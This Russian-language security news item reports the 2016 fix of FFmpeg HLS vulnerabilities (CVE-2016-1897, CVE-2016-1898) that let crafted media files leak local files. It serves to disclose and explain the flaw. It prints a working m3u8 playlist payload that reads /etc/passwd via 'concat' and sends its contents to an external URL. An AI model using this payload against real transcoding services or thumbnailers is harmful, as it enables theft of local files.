В FFmpeg устранена уязвимость, которая может привести к утечке локальных файлов

16.01.2016 16:25

Доступны корректирующие обновления мультимедиа-пакета FFmpeg 2.8.5, 2.7.5, 2.6.7 и 2.5.10, в которых устранены опасные уязвимости (CVE-2016-1897, CVE-2016-1898) в реализации поддержки формата HLS (HTTP Live Streaming), которые могут привести к выгрузке произвольных файлов в случае обработки специально оформленных данных утилитами ffmpeg, ffprobe, avconv и avprobe. Например, уязвимость представляет угрозу сервисам, в которых осуществляется перекодирование или обработка поступающих от пользователей файлов при помощи ffmpeg/libav, и файловым менеджерам, использующим ffmpeg/libav для создания эскизов.

Уязвимость может использоваться для подстановки содержания произвольного локального файла в результат перекодирования или для отправки локального файла на произвольный внешний URL. В частности, можно передать для обработки файл с произвольным расширением (avi, mov и т.п.), в котором добавить заголовок и данные плейлиста в формате HLS m3u8, указав в качестве одного из элементов блок "concat" с внешним URL и локальным файлом, например:

   #EXTM3U   #EXT-X-MEDIA-SEQUENCE:0   #EXTINF:10.0,   concat:http://test.com/header.m3u8|file:///etc/passwd   #EXT-X-ENDLIST  
В результате обработки данного файла ffmpeg загрузит http://test.com/header.m3u8, который может содержать:
   #EXTM3U   #EXT-X-MEDIA-SEQUENCE:0   #EXTINF:,   http://example.org? 

После обработки header.m3u8 ffmpeg передаст содержимое file:///etc/passwd в составе запроса на URL "http://example.org". Если вместо операции concat в переданном для обработки файле ограничиться указанием file:///etc/test.txt, то будет создан мультимедийный файл, включающий первую строку указанного локального файла.